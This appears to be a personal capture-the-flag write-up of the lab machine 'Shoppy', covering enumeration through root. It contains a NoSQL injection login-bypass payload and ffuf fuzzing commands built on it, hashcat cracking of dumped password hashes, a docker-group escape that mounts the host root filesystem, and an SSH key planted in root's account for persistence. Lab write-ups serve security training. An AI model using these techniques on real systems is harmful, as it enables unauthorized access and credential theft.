shoppy.png

Shoppy#

Enumeration#

cat scans/nmap.all-ports
# Nmap 7.92 scan initiated Sun Sep 18 13:29:15 2022 as: nmap -p- -sV -sC -oN scans/nmap.all-ports shoppy.htb
Nmap scan report for shoppy.htb (10.129.201.71)
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title:             Shoppy Wait Page
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sun, 18 Sep 2022 17:03:17 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 3
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 3
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 8.257e-05
|     go_gc_duration_seconds{quantile="0.25"} 8.257e-05
|     go_gc_durat
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sun, 18 Sep 2022 17:03:18 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 3
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 3
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 8.257e-05
|     go_gc_duration_seconds{quantile="0.25"} 8.257e-05
|_    go_gc_durat
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=9/18%Time=63270F43%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(GetRequest,2A5A,"HTTP/1\.0\x20200\x20OK\r\nContent-
SF:Type:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20S
SF:un,\x2018\x20Sep\x202022\x2017:03:17\x20GMT\r\n\r\n#\x20HELP\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cy
SF:cles\x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_c
SF:ycles_total\x203\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20appli
SF:cation\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\n
SF:go_gc_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_tot
SF:al_gc_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.
SF:\n#\x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cyc
SF:les_total_gc_cycles_total\x203\n#\x20HELP\x20go_gc_duration_seconds\x20
SF:A\x20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20coll
SF:ection\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_
SF:gc_duration_seconds{quantile=\"0\"}\x208\.257e-05\ngo_gc_duration_secon
SF:ds{quantile=\"0\.25\"}\x208\.257e-05\ngo_gc_durat")%r(HTTPOptions,1000,
SF:"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0
SF:\.4;\x20charset=utf-8\r\nDate:\x20Sun,\x2018\x20Sep\x202022\x2017:03:18
SF:\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go
SF:\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20c
SF:ounter\ngo_gc_cycles_automatic_gc_cycles_total\x203\n#\x20HELP\x20go_gc
SF:_cycles_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cyc
SF:les\x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_
SF:forced_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\
SF:x200\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x2
SF:0all\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc
SF:_cycles_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x203\n#\x2
SF:0HELP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x
SF:20duration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_
SF:gc_duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\
SF:x208\.257e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x208\.257e-05
SF:\ngo_gc_durat");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 18 13:31:19 2022 -- 1 IP address (1 host up) scanned in 124.09 seconds

not sure what the thing running on 9393 really is
but it looks like some sort of golang stack trace,
there are mentions of the garbage collection amonst other things
Not sure what to do with that

go_info{version="go1.18.1"} 1
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"}

found a vhost, of course it’s a mattermost login page

gobuster vhost -u shoppy.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://shoppy.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/10/02 19:04:55 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb (Status: 200) [Size: 3122]

further enumeration on port 80’s webserver

dirsearch -u http://shoppy.htb

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/blnkn/.dirsearch/reports/shoppy.htb/_22-10-02_19-06-42.txt

Error Log: /home/blnkn/.dirsearch/logs/errors-22-10-02_19-06-42.log

Target: http://shoppy.htb/

[19:06:42] Starting:
[19:06:43] 301 -  171B  - /js  ->  /js/
[19:06:48] 302 -   28B  - /ADMIN  ->  /login
[19:06:49] 302 -   28B  - /Admin  ->  /login
[19:06:53] 302 -   28B  - /admin  ->  /login
[19:06:54] 302 -   28B  - /admin/  ->  /login
[19:06:54] 302 -   28B  - /admin/?/login  ->  /login
[19:07:00] 301 -  179B  - /assets  ->  /assets/
[19:07:04] 301 -  173B  - /css  ->  /css/
[19:07:08] 301 -  177B  - /fonts  ->  /fonts/
[19:07:08] 200 -  208KB - /favicon.ico
[19:07:09] 301 -  179B  - /images  ->  /images/
[19:07:12] 200 -    1KB - /login
[19:07:12] 200 -    1KB - /login/

Task Completed

NoSQL login bypass#

trying to bypass the login page on the main site with sqlmap wasn’t successfull

sqlmap -r admin-login.req --batch

after wasting a bunch of time on trying to figure out if something could be done on whatever is running on port 9393, I didn’t find anything

ended up finding a writeup, that gives the solution to the login bypass

admin'||''==='

the above implies that we already know for sure that the admin user is valid,
not sure how we’d know that, outside of a few redirects from the gobuster outputs
I personally haven’t seen anything that would have made me think that this login page is powered by a no-sql db.
So I tried a bunch of no-sql tools to try and see if I could find some more info, but this was unsuccessfull:
https://github.com/codingo/NoSQLMap
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
https://github.com/C4l1b4n/NoSQL-Attack-Suite.git
I guess I’ll have to wait for the box to retire and have ippsec explain that my tiny brain

The closest I could get to a way of finding this was some login bypass bruteforcing with ffuf:
But I still would have needed to have the above expression in a wordlist

ffuf \
  -w nosql.txt \
  -u http://shoppy.htb/login \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \ 
  -d 'username=FUZZ&password=FUZZ' 
  -fr "WrongCredentials"

expanding on the idea above to get other potential usernames

ffuf 
  -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u http://shoppy.htb/login \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=FUZZ'||''==='&password=asdf" \
  -fr "WrongCredentials"

we get josh

once logged in in the web-app we can get the hashes for admin and josh

admin : 23c6877d9e2b564ef8b32c3a23de27b2
josh : 6ebcea65320589ca4f2f1ce039975995

those are probably MD5

printf '23c6877d9e2b564ef8b32c3a23de27b2'|wc -c
32
hashid '23c6877d9e2b564ef8b32c3a23de27b2'
Analyzing '23c6877d9e2b564ef8b32c3a23de27b2'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

cracking josh’s password with hashcat

hashcat -m 0 6ebcea65320589ca4f2f1ce039975995 /usr/share/wordlists/rockyou.txt
6ebcea65320589ca4f2f1ce039975995:remembermethisway

and now we can use this password to login as josh in the mattermost portal

Mattermost chat#

from reading the chats on mattermost, we can see that jaeger is the boss, and he posted his password in plaintext in the chat
jaeger.png

jaeger:Sh0ppyBest@pp!

we can use that password to loggin over ssh as jaeger and get the user flag

Privilege Escalation#

jaeger can run a password manager thing on the box as the deploy user

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

that is an ELF binary

file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !

and it’s asking for a password that isn’t jaeger’s

but no need to even exfiltrate it to look at it with a proper decompiler
just looking at it with vi we can see that the correct password is hardcoded
sample-pass.png

sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Deploy user#

now that we are deploy we can do some enumeration again

jaeger@shoppy:~$ su - deploy
Password:
$ bash
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

deploy is part of the docker group

deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   2 months ago   5.53MB
deploy@shoppy:~$ docker run -it -d -v /:/mnt alpine /bin/ash
f799de70b781f234867eb526ca782e3d5a2df8d196954676990b1ab232532a11
deploy@shoppy:~$ docker ps
CONTAINER ID   IMAGE     COMMAND      CREATED         STATUS         PORTS     NAMES
f799de70b781   alpine    "/bin/ash"   4 seconds ago   Up 3 seconds             clever_poitras
deploy@shoppy:~$ docker exec -it clever_poitras /bin/ash
/ # cd /mnt/

mounting the filesystem in an alpine container works

/mnt/root # wc -c root.txt
33 root.txt

I’ve seen a postgres db earlier, and I’d like to know what it was for
And I’d also like to understand the golang nonsense So I’m dropping an authorized key in root real quick to try to understand

/mnt/root/.ssh # vi authorized_keys
/mnt/root/.ssh # chmod 400 authorized_keys

earlyer I found:

./ShoppyApp/node_modules/@pm2/io/docker-compose.yml:  postgres:
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml:    image: postgres:11
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml:      POSTGRES_DB: 'test'
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml:      POSTGRES_PASSWORD: 'password'
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet:        name: "postgres",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet:        image: "postgres:11",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet:          POSTGRES_DB: "test",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet:          POSTGRES_PASSWORD: "password"
./ShoppyApp/node_modules/@pm2/io/test.sh:    export OPENCENSUS_PG_HOST="postgres"
root@shoppy:~# netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          15231      762/sshd: /usr/sbin
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      119        17427      855/postgres
tcp        0      0 127.0.0.1:8065          0.0.0.0:*               LISTEN      998        20710      997/mattermost
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      118        17496      840/mongod
root@shoppy:/home/deploy# grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
jaeger:x:1000:1000:jaeger,,,:/home/jaeger:/bin/bash
deploy:x:1001:1001::/home/deploy:/bin/sh
postgres:x:119:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mattermost:x:998:997::/home/mattermost:/bin/sh

The MongoDB is the one that we accessed from the webapp and got josh credentials from

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
shoppy  0.000GB
> use shoppy
switched to db shoppy
> show collections
products
sessions
users
> show users
> db.users.find()
{ "_id" : ObjectId("62db0e93d6d6a999a66ee67a"), "username" : "admin", "password" : "23c6877d9e2b564ef8b32c3a23de27b2" }
{ "_id" : ObjectId("62db0e93d6d6a999a66ee67b"), "username" : "josh", "password" : "6ebcea65320589ca4f2f1ce039975995" }
root@shoppy:/home/jaeger/ShoppyApp# psql -U postgres -d test -W
Password:
psql: error: FATAL:  Peer authentication failed for user "postgres"

so the reference I found earlyer are some possible defaults for the shoppy thing
mattermost is what actually uses the postgress instance

    "SqlSettings": {
        "DriverName": "postgres",
        "DataSource": "postgres://mmuser:mmuser-password@localhost/mattermost?sslmode=disable\u0026connect_timeout=10\u0026binary_parameters=yes",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "ConnMaxIdleTimeMilliseconds": 300000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "oha9g795it4bxnngdnokt7kwdhjbpyxn",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false,
        "MigrationsStatementTimeoutSeconds": 100000,
        "ReplicaLagSettings": []
    },
 
mattermost=> select username,password,email,position from users;
   username    |                           password                           |          email          |       position
---------------+--------------------------------------------------------------+-------------------------+----------------------
 channelexport |                                                              | channelexport@localhost |
 feedbackbot   |                                                              | feedbackbot@localhost   |
 appsbot       |                                                              | appsbot@localhost       |
 playbooks     |                                                              | playbooks@localhost     |
 boards        |                                                              | boards@localhost        |
 jess          | $2a$10$KCB8RgS4vGCOi5U30TIVo.xuW/jf65Z1a3ekuAcyUMfEvteo7CdGe | jess@shoppy.htb         | HR
 jaeger        | $2a$10$2jMBLobJ4yOTWBtsBff.Pem7/olIIoHFkQCbAsqlPFDfXWzx5JcJ. | jaeger@shoppy.htb       | CEO
 josh          | $2a$10$jcaXTs90C0vdQHI70yNnieFSsV7QLiinC5xzmLvwDaHIAqeWitz2W | josh@shoppy.htb         | Full Stack Developer
(8 rows)

Port 9093#

it’s ran by mattermost

root@shoppy:~# netstat -tulpen|grep 9093
tcp6       0      0 :::9093                 :::*                    LISTEN      998        20482      1543/plugins/playbo
root@shoppy:~# ps -ef|grep 1543
matterm+    1543     997  0 16:16 ?        00:00:00 plugins/playbooks/server/dist/plugin-linux-amd64
root        3972    2335  0 17:13 pts/1    00:00:00 grep 1543

it’s a mattermost plugin:
maybe there’s another way in with this

{
    "id": "playbooks",
    "name": "Playbooks",
    "description": "Mattermost Playbooks enable reliable and repeatable processes for your teams using checklists, automation, and retrospectives.",
    "homepage_url": "https://github.com/mattermost/mattermost-plugin-playbooks/",
    "support_url": "https://github.com/mattermost/mattermost-plugin-playbooks/issues",
    "release_notes_url": "https://github.com/mattermost/mattermost-plugin-playbooks/releases/tag/v1.29.1",
    "icon_path": "assets/plugin_icon.svg",
    "version": "1.29.1",
    "min_server_version": "6.3.0",
    "server": {
        "executables": {
            "darwin-amd64": "server/dist/plugin-darwin-amd64",
            "darwin-arm64": "server/dist/plugin-darwin-arm64",
            "linux-amd64": "server/dist/plugin-linux-amd64",
            "linux-arm64": "server/dist/plugin-linux-arm64",
            "windows-amd64": "server/dist/plugin-windows-amd64.exe"
        },
        "executable": ""
    },
    "webapp": {
        "bundle_path": "webapp/dist/main.js"
    },
    "settings_schema": {
        "header": "",
        "footer": "",
        "settings": [
            {
                "key": "EnableExperimentalFeatures",
                "display_name": "Enable Experimental Features:",
                "type": "bool",
                "help_text": "Enable experimental features that come with in-progress UI, bugs, and cool stuff.",
                "placeholder": "",
                "default": null
            }
        ]
    }
}